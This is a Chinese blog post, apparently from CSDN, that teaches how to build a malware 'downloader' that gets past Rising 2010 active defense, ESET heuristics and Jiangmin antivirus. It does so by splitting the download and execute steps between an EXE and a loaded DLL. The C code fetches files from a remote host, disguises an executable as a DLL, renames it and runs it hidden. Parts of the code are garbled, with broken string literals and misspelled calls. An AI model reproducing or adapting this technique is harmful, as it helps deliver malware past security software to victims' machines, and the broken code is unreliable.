另类下载者轻松突破瑞星2010主动防御及ESET高启发

本文介绍了一种利用下载者和DLL文件结合的技术,该技术能够绕过主流杀毒软件的启发式杀毒和主动防御功能。通过将下载文件与执行文件的功能拆分到不同的PE文件中,并利用DLL的单一地址空间特性,可以有效地规避杀毒软件的检测。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

    随着2010年的临近,各在杀毒软件公司都陆续推出了自己最新的杀毒软件,启发式杀毒以及主动防御被广泛的应用到了新版本的杀毒软件中。下载者由于调用函数单一,生成代码简单,在突破启发式杀毒和主动防御方面有着极大的困难,本文就将给大家介绍一种另类的技术,利用下载者突破当今大部分主流杀毒软件。
    作为一个下载者,必须具有两个最核心的功能模块,一个是下载文件,另外一个是执行文件。通常情况下,是通过URLDownloadToFile和ShellExecute这两个函数或者相关函数来完成其功能的。以往的绕过办法,一般是在URLDownloadToFile上做文章,要么用Wininet库函数来实现,复杂一点通过Winsocket来实现。
    对于高启发杀毒来说,其核心在于病毒库中的函数复合特征码,通俗点说就是函数组合,比如ESET,其函数组合是最丰富的。这也是为什么在无壳无反调试代码下,使一个后门程序通过ESET的高启发是件非常困难的事情。比如前面提到的两个函数,只要出现在同一个PE文件里,那么 这个PE文件必然会被ESET列为DownLoader。对于主动防御也一样,只要一个ESET文件先执行了URLDownloadToFile,那么只要其后运行ShellExecute这样类似功能的函数,必然会进行拦截。那么,假设我们把这两个函数封装在两个PE文件中,接着分步执行它们,是不是可以绕过杀毒软件的启发杀毒和主动防御呢?后来的测试证明了我的这些想法。
    对于PE文件来说,其是微软并未公开的可执行文件格式(Protable Executable,PE)的简称,通常我们所说的EXE、DLL、SYS文件都属于PE文件的范畴。这里要简单说下Windows程序的运行原理,我们把一个EXE程序看成一个地址空间,一个单独的地址空间是由一个可执行模块和若干个DLL模块组成的,其中的一些模块是可以连接到静态的C/C++运行时库,但是DLL还能做到根本不需要C/C++运行时库而存在于一个单一的地址空间中,也就是说我们可以使一个EXE先完成下载文件的功能,然后写一个DLL文件,这个DLL文件运行在一个单一的地址空间中,让这个DLL文件来执行EXE下载的文件,这样既能过高启发,也能过绝大多数的主动防御。下来我们来看DllMain函数,原型如下:
    BOOL WINAPI DllMain(
    HANDLE hinstDLL,
    DWORD dwReason,
    LPVOID lpvReserved
    );

    DllMain函数,是DLL文件的入口点函数,相当EXE的main函数,很多人在使用的时候也仅仅是把它当作Main函数来使用,但是DllMain函数的第二个参数非常特别,可以被我们用来做很多事情。
    DLL_PROCESS_ATTACH是说当DLL被某进程加载到内存空间时,来启动相关代码,这就意味着一DLL被加载到一个内存空间中,那么系统就会给这个DLL文件分配一个单一的地址空间来使其运行,那么对于两个地址空间的代码,杀毒软件是不会关联查杀的,这样很有可能出现大量误报。而加载一个DLL,只需要LoadLibrary即可。那么代码就变得非常好写了,主要代码如下:
    int main(int argc, char* argv[])
    {
    Char DownURL[255] = "http"//www.domain.com/test.dll";//由于释放文件可能会触发某些杀软的主动防御,因此DLL文件也通过下载的方式写入
    Char DownURL[255] = "http"//www.domain.com/test.exe";
    Char DllPath[255];
    Char ExePath[255];
    GetWindowsDirectory(DllPath,sizeof(DllPath));
    GetWindowsDirectory(ExePath,sizeof(ExePath));
    strcat(DllPath,"");
    strcat(ExePath,"由于ESET会对下载EXE文件报毒,因此将EXE文件改为DLL文件,以后再通过DLL重命令回来
    URLDownloadToFile(0, DllPath, DllPath, 0, NULL);
    Sleep(2000);
    while(true)
    {
    if(FilelsExist(DllPath) == true)//判断是否下载完成
    break;
    else
    Sleep(1000);
    }
    URLDownloadToFile(0, ExePath, ExePath, 0, NULL);
    Sleep(2000);
    while(true)
    {
    if(FilelsExist(ExePath) == true)//判断是否下载完成
    break;
    else
    Sleep(1000);
    } 
    LoadLibrary(DllPath);//加载下载到的DLL文件
    }

    这样我们就完成了下载文件的步骤,只单纯下载文件,杀毒软件显然是不会报警的。接着我们完成我们的DLL文件,主要代码如下:

    BOOL APIENTRY DllMain(HANDLE hModule, DWORD ul_reason_for_call, LPVOID lpReserved)
    {
    switch(ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH://一旦DLL被加载到内存中,则启动工作线程
    {
    DWORD ThreadId;
    CreateThread(NULL, NULL, MainThread, NULL, NULL, &ThreadId);
    break;
    }
    default:
    break;
    }
    return TRUE;
    }
    DWORD WINAPI MainThread(LPVOID lpParameter)
    {
    char MovePath[255];
    char InstallPath[255];
    GetWindowsDirectory(MovePath, sizeof(MovePath));
    GetWindowsDirectory(InstallPath, sizeof(InstallPath));
    strcat(InstallPath,"");
    strcat(MovePath,"这里要把下载的EXE文件重命名为EXE文件,原先是DLL
    rename(MovePath, InstallPath);
    Sleep(3000)
    ShellExecute(NULL, "open", InstallPath, NULL, NULL, SW_HIDE);//执行下载的EXE文件
    return 0;
    }

    总之,只要计算机在不具备人工智能的情况下,就只会按照某种规则执行程序,所以要突破一款杀软,只要深入了解规则,必然能找到突破的方法,这就是黑客的精神——不被规则所束缚。
    本文所述代码经测试,可过最新瑞星2010主动防御、ESET4.0启发式杀毒及江民主动防御。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值